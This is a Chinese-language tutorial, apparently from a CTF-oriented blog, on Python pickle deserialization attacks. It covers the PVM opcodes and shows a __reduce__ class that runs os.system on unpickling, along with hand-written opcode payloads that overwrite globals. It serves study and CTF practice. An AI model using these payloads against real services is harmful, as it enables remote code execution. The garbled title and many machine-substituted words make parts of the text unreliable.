首页 » 网站建设 » phpexitcode技巧_技能分享Python反序列化手写opcode

phpexitcode技巧_技能分享Python反序列化手写opcode

访客 2024-12-12 0

扫一扫用手机浏览

文章目录 [+]

01 写在开篇

模块 pickle 实现了对一个 Python 工具构造的二进制序列化和反序列化。
"pickling" 是将 Python 工具及其所拥有的层次构造转化为一个字节流的过程,而 "unpickling" 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个工具层次构造。
pickling(和 unpickling)也被称为“序列化”, “编组” 或者 “平面化”。
而为了避免混乱,此处采取术语 “封存 (pickling)” 和 “解封 (unpickling)”。

phpexitcode技巧_技能分享Python反序列化手写opcode

pickle.dumps(object):用于序列化一个工具。

pickle.loads(picklestring):用于反序列化数据,实现一个工具的构建。

过程展现:

1. 如果直接定义类 dairy,个中的data text文件将不会被序列化。

2. 须要设定init才可以把以下属性序列化进去。

3. 反序列化如下显示。

4. 序列化数组亦可,如下显示。

5. pickle不仅可以序列化字符串,也可以读写文件,利用pickle.dump()和pickle.load() 即可。

小结:

(一)序列化过程

从工具中提取所有属性(__dict__),并将属性转为键值对

写入工具的类名

写入键值对

(二)反序列化过程

获取 pickle 输入流

重修属性列表

根据保存的类名创建一个新的工具

将属性复制到新的工具中

02__reduce__()

__reduce__()类似于PHP中的__wakeup__邪术函数。
如果当__reduce__返回值为一个元组(2到5个参数),第一个参数是可调用(callable)的工具,第二个是该工具所需的参数元组。
在这种情形下,反序列化时会自动实行__reduce__里面的操作。

1. 测试代码。

2.运行结果。

3.弹打算机。

03pickle简介

pickle 是一种栈措辞,有不同的编写办法,是基于一个轻量的 PVM(Pickle Virtual Machine)。

(一)PVM 的组成部分。

·指令处理器

从流中读取 opcode 和参数,并对其进行阐明处理。
重复这个动作,直到遇“.”这个结束符后停滞。
终极留在栈顶的值将被作为反序列化工具返回。

·stack

由 Python 的 list 实现,被用来临时存储数据、参数以及工具。

·memo

由 Python 的 dict 实现,为 PVM 的全体生命周期供应存储。

备注:把稳 stack、memo 的实现办法,方便理解接下来的指令。

当前用于 pickling 的协议共有 5 种。
利用的协议版本越高,读取天生的 pickle 所需的 Python 版本就要越新。

v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。

v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。

v2 版协议是在 Python 2.3 中引入的。
它为存储 new-style class 供应了更高效的机制。
欲理解有关第 2 版协议带来的改进,请参阅 PEP 307。

v3 版协议添加于 Python 3.0。
它具有对 bytes 工具的显式支持,且无法被 Python 2.x 打开。
这是目前默认利用的协议,也是在哀求与其他 Python 3 版本兼容时的推举协议。

v4 版协议添加于 Python 3.4。
它支持存储非常大的工具,能存储更多种类的工具,还包括一些针对数据格式的优化。
有关第 4 版协议带来改进的信息,请参阅 PEP 3154。

(二)指令集。

(三)汇总:

1. c:读取新的一行作为模块名module,读取下一行作为工具名object,并将module.object压入到堆栈中。

2. (:将一个标记工具插入到堆栈中。
为实现目的,该指令会与t搭配利用,以产生一个元组。

3. t:从堆栈中弹出工具,直到一个“(”被弹出和创建一个包含弹出工具(除了“(”)的元组工具,并且这些工具的顺序必须与它们压入堆栈时的顺序同等,再将该元组压入到堆栈中。

4. S:读取引号中的字符串直到换行符处,并将它压入堆栈。

5. R:将一个元组和一个可调用工具弹出堆栈,以该元组作为参数可调用的工具,并将结果压入到堆栈中。

6. .:结束pickle。

7. 动态图阐明:

参考:https://www.cnblogs.com/value-code/p/9224820.html

8. opmode版本如下显示。

9. pickle3版本的opcode示例。

03 pickletools 工具利用

pickletools.optimize目的便是为了去除声明q ,q:储存栈顶的字符串长度为一个字节(即\x00)。

1. 变量覆盖。

/usr/local/var/pyenv/versions/3.7.0/bin/python

/Users/Tkith/Tkitn'sCodeProject/Tkitnpygogogo/aix.py

0: \x80 PROTO3

2: cGLOBAL'builtins exec'

17: qBINPUT0

19: XBINUNICODE "key1=b'1'\nkey2=b'2'"

43: qBINPUT1

45: \x85 TUPLE1 #声明第一个元祖

46: qBINPUT2

48: RREDUCE

49: qBINPUT3

51: .STOP

highest protocol among opcodes = 2

b'1' b'2'

None

Process finished with exit code 0

2. 大略rce。

import pickle

import os

class genpoc(object):

def __reduce__(self):

s = """echo test >poc.txt""" # 要实行的命令

return os.system, (s,) # reduce函数必须

返回元组或字符串

e = genpoc()

poc = pickle.dumps(e)

print(poc) # 此时,如果 pickle.loads(poc),就会实行命令。

3. 手写opcode

·在CTF中,很多时候须要一次实行多个函数或一次操作多个指令,此时就不能只用__reduce__ 来办理问题。
由于reduce一次只能实行一个函数,当exec被禁用时,就不能一次实行多条指令了,以是须要手动拼接或布局opcode了。
手写opcode也是pickle反序列化中较难之处。

·此处可以体会到为何pickle是一种措辞,直接编写opcode的灵巧性比利用pickle序列化天生的代码更高。
只要符合pickle语法,就可以进行变量覆盖、函数实行等操作。

·根据前文不同版本的opcode可以看出,版本0的opcode更便于阅读。
以是手动编写时,一样平常选用版本0的opcode。
下文中,所有opcode均为版本0的opcode。

全局变量覆盖

# secret.py

name='TEST3213qkfsmfo'

#main.py

import pickle

import secret

opcode='''c__main__

secret

(S'name'

S'1'

db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)

print('after:',secret.name)

通过c获取全局变量secret,建立一个字典,并利用b对secret进行属性设置,将会利用到payload。

opcode='''c__main__

secret

(S'name'

S'1'

db.'''

4. 函数实行

与函数实行干系的opcode有三个:R、i、o ,以是我们可以从三个方向进行布局。

练习题:ikun

练习题目:

[watevrCTF-2019]Pickle Store

wp:

https://www.cnblogs.com/20175211lyz/p/12310293.html

wp2:

https://blog.csdn.net/weixin_45669205/article/details/116274988

wp3:不出网

https://xz.aliyun.com/t/7320#toc-1

推举利用的wp:

https://xz.aliyun.com/t/7320#toc-1

相关文章

phptimediff技巧_PHP 5 DateTime 函数

Date/Time 函数许可您从 PHP 脚本运行的做事器上获取日期和韶光。您可以利用 Date/Time 函数通过不同的办法来格...

网站建设 2024-12-14 阅读0 评论0